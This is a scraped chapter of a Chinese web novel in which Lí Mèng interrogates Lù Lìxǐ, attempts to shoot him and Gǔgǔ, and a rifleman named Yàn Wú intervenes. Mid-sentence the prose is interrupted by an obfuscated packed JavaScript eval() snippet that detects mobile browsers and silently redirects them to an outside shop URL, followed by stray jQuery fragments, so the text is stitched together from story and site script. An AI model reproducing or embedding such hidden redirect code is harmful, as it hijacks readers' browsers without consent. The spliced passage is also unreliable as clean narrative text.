说到这里,鹿力喜卷起了自己的袖子,在他小臂的内侧,有一条长长的疤痕,那看上去不是什么陈年旧伤,“这个,就是我因为化冻而留下来的伤痕。每个人因为身体构造的不同,多多少少都会留下这样的痕迹。哦,对了,刚才那个高个子男人,他身上的疤痕,估计就是这么形成的。他太高了,估计身体各处都出现了融化速度不一的情况,能在熔炉之中活下来,也是挺不容易的。按理来说母上不会挑选这么例外的人去做处理,除非有什么一定要把他带出来的理由……”
黎梦眨了眨眼睛,她观摩着鹿力喜胳膊上的那条冻伤,而后,又看了一番自己的身体,像是也想要在自己的身体上找出相似的痕迹似的。但是,她的皮肤光滑、整洁,最多有些战争留下的大大小小的伤痕,而没有像元城人这样的冻伤。
“嗯,果然还是有些差异……”黎梦嘀咕着,没人知道她具体是什么意思,她继而说道,“所以,你们那个黄王这么厉害,为什么不把自己也冰冻起来,等将来某天有人把他解救出来,他又能领导这座城市了。”
鹿力喜摇了摇头,说道:“王他……有不得不离开这里的理由。如果他身在元城,我们所遭遇的,可能不仅仅是洪水这么简单,极有可能,这整座城市都会毁于一旦。”
黎梦一笑,“怎么,他所在的地方,天灾就会发生得比较频繁?”
鹿力喜盯着黎梦,目光灼灼,像是有什么深入骨髓的恨意,“是的。王所到之处,灾难总是紧随而至。”
话音落下,黎梦挑了挑眉,像是不怎么相信。
古古盯着鹿力喜。那种记恨的、仇怨的眼神,她似乎在哪见过。
她想了想,对了,是自己的母亲。当古奈歌提起元城的时候,也是这种表情,有一种仿佛在血里流淌着的恨意,即便是这副身体陨落,也不会消弭一般。
“所以,他离开了你们。”黎梦换了一条腿,继续翘她的二郎腿,“然后,死在了黄守之森那地方。”
“不知道后来发生了什么,我也是最近才醒来的。”鹿力喜说道,“我沉睡的时候,王……刚刚踏上离开这里的征程。”
“这个黄王究竟叫什么?”黎梦问道。
“黄王就叫黄王。”鹿力喜说道,“他姓黄名王,生来,名字里就带着一个王字。”
黎梦挠了挠自己的脸,盯着石屋角落的一处,自言自语似的说道:“所以,母亲作为黄王的孩子,她想要做的,就是唤醒这座城市……嗯,我差不多懂了。”
距离点灯人离开已经过去了有一阵,他们也聊得差不多了。
转瞬之间,女人的眼神有些冰冷,她站起来,手搭在自己的腰侧,那里有一把黑色的手枪,黎梦摸索着它,模样像在思索,“好了,我的问题都问完了,现在……得回去找母亲了。”
听到这句话的时候,古古心里燃起了一丝希冀。她想,这句话的意思,是不是代表黎梦不打算管他们了?
但是,接下来,眼前的场景否认了她的猜测。
黎梦从腰侧解下了那把枪,不怎么熟练地往里面填弹,上膛,像是第一次用这种武器一般,“这样就可以射击了?果然,元城的枪,制式和我们之前用的不一样,方便多了。”
“你要干什么?”鹿力喜音色紧张地问道,把古古拦在了身后,“你想听的回答我都告诉你了,你还有什么不满的,为什么要这么做?”
“没什么不满,只是因为麻烦。”黎梦说道,抬起手中的枪,指向了对面的一男一女,“我自告奋勇留下来,不是为了花时间看管你们。只是因为你们知道一些我想知道的事情,而我又不好朝母亲开口问,所以,只好问你们了。”
“黎涵挚没说让你杀了我们。”鹿力喜说道。
“啊。”黎梦道,“我又不归她管,她只是个老太婆罢了,不是什么人都可以对我发号施令。现在,我要离开了。以免你们告诉母亲我曾经向你们问过这些问题……还请你们去死吧。”
她说完,几乎没有任何地停顿,手指按下了扳机。
嘭的一声,有什么东西急速袭来。鹿力喜抱着古古往一旁躲去,两人摔在地上,惊魂未定。
“……歪了。”黎梦收回手枪,在自己的眼前观摩,道,“手感和之前那种不一样,得花时间再练习了。”
而后,她把枪口又对准了鹿力喜和古古两人,又是一枪。
两人抱着头,无处可逃。
但是,扳机扣下去,这回却没有相应的巨响传来。黎梦晃了晃手里的枪,声音疑惑,“怎么回事,里面应该有子弹来着……呃,这是、还要再上一次膛?怎么跟哥哥用的那把不一样,他的就可以连发……”
黎梦嘀咕着,在那手枪的转轮上操作了起来。
便是看准了这个时机,瞬间,鹿力喜拉着古古往门口跑去,一个猛甩,将她扔到了屋门外。
古古一下子扑在地上,回身,看到屋内的情况时,心中一紧。
鹿力喜没能跑出来,半路被黎梦截住了。女人戴着护甲的手腕抓着他的脖子,像是拎一只家禽一样,把男人轻而易举地提了起来。
“唔……”鹿力喜的脸很快红了,他蹬踹着,眼镜都挣掉了,但是,无法从黎梦的桎梏下逃脱出来。
“想在我的眼皮底下跑,是不是有点太瞧不起我了。”黎梦说。她一手掐着鹿力喜,一手操作着手里的枪,薄脆的咔哒声响起,她把枪管指向了男人的太阳穴。
古古看到了这一幕,惊喊道:“不要!”
就在叫声脱口的一瞬间,突然,一个尖锐的声音刺破了空气,朝他们袭来,有什么东西咻一声擦过,嘭地打在石屋内的墙壁上,溅起一小块烟尘。
“呃啊!”黎梦惊叫出声,手掌顿时鲜血淋漓,但她仍未放开鹿力喜,而是将他拉到身前,用作肉盾,两人缓缓向石屋的阴影中后退。
“谁?!”她喊道,但周围没有人回答她。
看刚才的情景,明显是有人在远处射击。
眼见鹿力喜被带进了石屋的阴影中,古古心急地想要追进去,可又是一发枪声响起,子弹擦过她的脚边。
怎么看,那都是不让她再进一步的意思。
古古开始四下寻找枪手的身影,元城底层通往控制室的通路有些阴暗,用来照明的灯泡坏了一大部分,还有几盏忽明忽灭。她左侧是石壁,石壁下是联排的石屋,右侧是一片
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14001099|127433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
黑黢黢的平地,看不清远处有什么。
“危险,别进去。”
就在这个时候,一个男人的声音在那伸手不见五指的黑暗中传来。
听到那声音,古古愣了一下,迫不及待地朝音源的方向看去。
那个音色无比熟悉,那是……
咯哒、咯哒。
空气陷入了一阵静谧,一个脚步声传来,一声接着一声,十分地缓慢、冷静。就这么回荡在山壁造就的昏暗空间之中。
一个男人的身影渐渐在一片黑暗的迷雾中现形,缓步朝古古的方向走来。他很高,一袭披风垂到小腿,手上斜托着一把几乎和他手臂一样长的步枪,腰上挂着一排弹夹,身上穿着一面皮制胸甲,除此之外没有其他的防护。
他绕了个路,似乎是为了不暴露在黎梦的视野中。手在枪身上划动,弹壳叮当一声砸在他的脚下,金属冷硬的撞击声响起。
她盯着眼前的人,目不转睛,生怕看到的是幻觉。
“燕无……”
他为什么会出现在这里?距离上一次分别已经过去多久了?
一个个问题在古古的脑海中冒出来,可她没有功夫去想答案了。
男人的出现就像一颗定心丸,也像一盏引灯,她身体下意识行动起来,想要立刻去往对方的身边。
与次同时,男人也加快了脚步,快速地接近她,一把将她抱起来,带着她往死角的方向躲藏。
将她在一面凸起的墙垛旁放下,燕无对她说道:“没事吧?”
古古看着眼前的人,他的发长了一些,眼神依旧温柔,但不再那么彷徨。这是真的吗?她的另一半,无法切割的一部分,就在么出现在了自己的眼前,救下了身处险境的她。这真的不是绝境之中的妄想吗?
古古没说话,只是伸出手去,抚摸着男人的脸,想要确认对方是不是真实存在。
燕无注意到她伸过来的手,弯下腰,往上面贴了贴,那样子仿佛在说,我就在这里。
“你是……看到我留下的信所以找过来的吗?”古古问他。
她还记得自己离开暮落镇的时候写了一封信,留在了住所,怕自己的不辞而别让对方担心。
燕无摇摇头,“暮落镇被毁了,我从别人那里听说了你的消息。”
“被毁了……?”
还没等说上两句,黎梦所在的石屋里传来了一阵怪异的声响。燕无立即警觉起来,掩护着古古又往隐蔽住缩聚了一些,把她往自己身后带。
突然,一声枪响传来,他们所用来隐藏身形的石垛侧面,骤然出现了一道摩擦产生的白痕。
燕无评价道:“没露头就开枪,倒是心急。”
现在情况不容乐观,如果不把外面的两人解决,黎梦绝对不会从石屋内显形。可她手持极度危险的武器,身形在黑暗中潜藏,这也使外面的人没法进去。
燕无解下了自己的披风,团起来,发力将它扔出去。
就在它还在空中的时候,枪声响起,厚重的布艺披风被打了个对穿。
“……反应很快。”男人皱眉说道,他握紧了手中的长枪,回过身来小声对古古问道,“那是什么人?”